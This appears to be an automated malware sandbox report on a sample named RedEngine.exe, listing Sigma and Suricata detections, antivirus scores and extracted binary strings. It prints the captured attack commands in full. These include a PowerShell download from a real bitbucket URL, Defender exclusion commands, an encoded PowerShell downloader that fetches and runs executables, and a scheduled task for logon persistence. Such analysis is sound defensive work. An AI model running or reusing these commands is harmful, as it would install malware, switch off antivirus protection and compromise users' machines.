Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", ProcessId: 1316, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Powershell Defender Exclusion

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"", CommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe" , ParentImage: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe, ParentProcessId: 2168, ParentProcessName: mgne4i3n.t1d2.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"", ProcessId: 4240, ProcessName: cmd.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAB

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f, CommandLine: schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 968, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f, ProcessId: 7828, ProcessName: schtasks.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", ProcessId: 1316, ProcessName: powershell.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", ProcessId: 1316, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAB

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7972, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Schedule VBS From Appdata

Source: Process started

Author: Joe Security: Data: Command: schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f, CommandLine: schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 968, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f, ProcessId: 7828, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Single char EXE direct download likely trojan (multiple families)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-05T01:03:11.390861+0200	2018581	1	A Network Trojan was detected	192.168.2.7	49711	185.166.143.50	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-05T01:03:11.390861+0200	2803305	3	Unknown Traffic	192.168.2.7	49711	185.166.143.50	443	TCP
2024-09-05T01:03:12.712325+0200	2803305	3	Unknown Traffic	192.168.2.7	49712	185.166.143.50	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: RedEngine.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: RedEngine.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: RedEngine.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 31_2_648E6000 PyCMethod_New,CryptAcquireContextA,CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,clock,clock,clock,clock,CryptReleaseContext,

31_2_648E6000

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe

Unpacked PE file: 13.2.mgne4i3n.t1d1.exe.400000.0.unpack

Source: RedEngine.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 164.132.58.105:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49730 version: TLS 1.2

Source: RedEngine.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3808593718.00007FFB1E3A3000.00000002.00000001.01000000.00000014.sdmp, clppth.exe, 00000026.00000003.1855125182.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1948258796.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3799490703.00007FFB029C2000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3803291292.00007FFB041BF000.00000002.00000001.01000000.00000022.sdmp, clppth.exe, 00000029.00000003.2059501286.000002C498ACE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: mgne4i3n.t1d2.exe, 0000001F.00000002.3797179498.00007FFB02511000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3809366779.00007FFB226D1000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848674222.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1932878487.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: mgne4i3n.t1d2.exe, 0000001F.00000002.3806869534.00007FFB0B574000.00000002.00000001.01000000.00000017.sdmp, clppth.exe, 0000002A.00000002.3802742975.00007FFB1DED4000.00000002.00000001.01000000.0000002F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3793790170.00007FFB0197C000.00000002.00000001.01000000.0000001D.sdmp, clppth.exe, 00000026.00000003.1848837705.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1935960901.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3800269232.00007FFB1C3CC000.00000002.00000001.01000000.00000035.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3793790170.00007FFB0197C000.00000002.00000001.01000000.0000001D.sdmp, clppth.exe, 00000026.00000003.1848837705.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1935960901.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3800269232.00007FFB1C3CC000.00000002.00000001.01000000.00000035.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3804653921.00007FFB0B48E000.00000002.00000001.01000000.0000001C.sdmp, clppth.exe, 00000026.00000003.1847327209.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1930590183.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.13 30 Jan 20243.0.13built on: Mon Feb 5 17:39:09 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == 